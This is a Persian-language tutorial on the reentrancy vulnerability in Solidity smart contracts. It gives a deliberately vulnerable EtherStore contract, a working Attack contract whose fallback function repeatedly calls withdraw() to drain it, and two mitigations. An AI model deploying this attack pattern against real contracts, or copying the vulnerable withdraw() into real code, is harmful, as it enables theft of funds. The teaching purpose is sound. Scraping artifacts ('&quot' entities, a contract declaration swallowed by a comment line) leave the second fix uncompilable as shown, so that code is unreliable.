امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)

امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)
امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)

ری اینترنسی (Reentrancy) چیست؟

در هر قرارداد هوشمندی تابعی تحت عنوان fallback وجود دارد که این تابع به شکل خودکار با ارسال اتر، بی ان بی و ... (msg.value) به هر کانترک توسط EVM (Ethereum Virtual Machine) اجرا می شود. برنامه نویس قرارداد هوشمند میتواند داخل این تابع را به هر شکلی که مایل است پیاده سازی کند.

در این آسیب پذیری قرارداد های هوشمند، که به واسطه همین تابع fallback به وجود می آید، قراردادی به نحوی موظف به ارسال مقداری اتر به کانترکتی دیگر می شود و تابع fallback در کانترکتی که اتر را دریافت می کند اجرا می شود.

شما کلی آسیب پذیری ری اینترنسی
شما کلی آسیب پذیری ری اینترنسی

با توجه به شکل بالا بیایید در نظر داشته باشیم که کانترکت سمت راست (گاوصندوق)، کانترکتی است که افراد می توانند در آن اتر های خود را ذخیره کنند و هر زمان که خواستند آن ها را برداشت کنند.

بدیهی است که کانترکت جوری نوشته شده است که هر کس توانایی برداشت دارایی از پیش گذاشته شده خود را داشته باشد.(بدون ری اینترنسی)

کانترکت سمت چپ (مهاجم)، در ابتدا مقداری اتر در گاوصندوق ذخیره می کند سپس اقدام به برداشت آن می کند و هنگامی که گاوصندوق اتر های مهاجم را برای آن ارسال می کند، تابع fallback در مهاجم توسط EVM به شکل خودکار اجرا می شود و با توجه به اینکه ما در تابع fallback این کانترکت مجددا درخواست برداشت دارایی را ثبت کردیم، بدون اینکه میزان دارایی ما در گاوصندوق بروز بشود، گاوصندوق مجددا برای ما اتر ارسال می کند.

https://www.aparat.com/v/NYAT5

مرحله به مرحله

کانترکت B کانترکت مهاجم، که در گذشته مقدار 1 اتر در کانترکت A (گاوصندوق) ذخیره کرده است.

1- کال کردن تابع withdraw کانترکت A توسط کانترکت B
1- کال کردن تابع withdraw کانترکت A توسط کانترکت B
2-چک کردن موجودی کانترکت B در تابع withdraw کانترکت A
2-چک کردن موجودی کانترکت B در تابع withdraw کانترکت A
3-ارسال اتر بعد از چک کردن موجودی
3-ارسال اتر بعد از چک کردن موجودی
4-اجرا شدن تابع fallback کانترکت B و کال کردن تابع withdraw کانترکت A بعد از دریافت اتر از آن
4-اجرا شدن تابع fallback کانترکت B و کال کردن تابع withdraw کانترکت A بعد از دریافت اتر از آن
5-اجرا شدن مجدد تابع withdraw کانترکت A پیش از بروز کردن موجودی کانترکت B در داخل A
5-اجرا شدن مجدد تابع withdraw کانترکت A پیش از بروز کردن موجودی کانترکت B در داخل A
6-ارسال مجدد اتر برای کانترکت B
6-ارسال مجدد اتر برای کانترکت B

این روند آنقدر ادامه پیدا خواهد کرد تا کانترکت A دیگر اتری برای ارسال نداشته باشد.

لازم به ذکر است که قرارداد های نشان داده شده ساختگی و برای درک بهتر مطلب است.

سورس کد های کامل قرارداد ها

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

//Ether Store contract (A)
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}(&quot&quot);
require(sent, &quotFailed to send Ether&quot);
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

//Attacker contract (B)
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
    }
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}



روش های جلوگیری از این آسیب پذیری

  1. به روز کردن موجودی فرد متقاضی، پیش از ارسال اتر به او.
  2. استفاده کردن از modifier برای تابع withdraw .
در سالیدیتی هنگامی که از modifier برای تابعی استفاده می کنیم، EVM پیش از ورود به تابع موارد داخل modifier را برسی می کند و اگر شروط برقرار باشند به تابع ورود و در غیر این صورت تراکنش را revert می کند.

سورس کد های جلوگیری از آسیب پذیری ری اینترنسی

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
//////////////////////////////////////////////First Solution//////////////////////////////////////////////
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: bal}(&quot&quot);
require(sent, &quotFailed to send Ether&quot);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
//////////////////////////////////////////////Seccond Solution//////////////////////////////////////////////contract EtherStore {

mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
bool internal locked;
modifier noReentrant() {
require(!locked, &quotNo RE-entrancy!&quot);
locked = true;
_;
locked = false;
}
function withdraw() public noReentrant {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}(&quot&quot);
require(sent, &quotFailed to send Ether&quot);
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

توضیحات تکمیلی را در این ویدیو تماشا کنید

https://www.aparat.com/v/6ofuM
https://www.aparat.com/v/NYAT5
https://aparat.com/v/6ofuM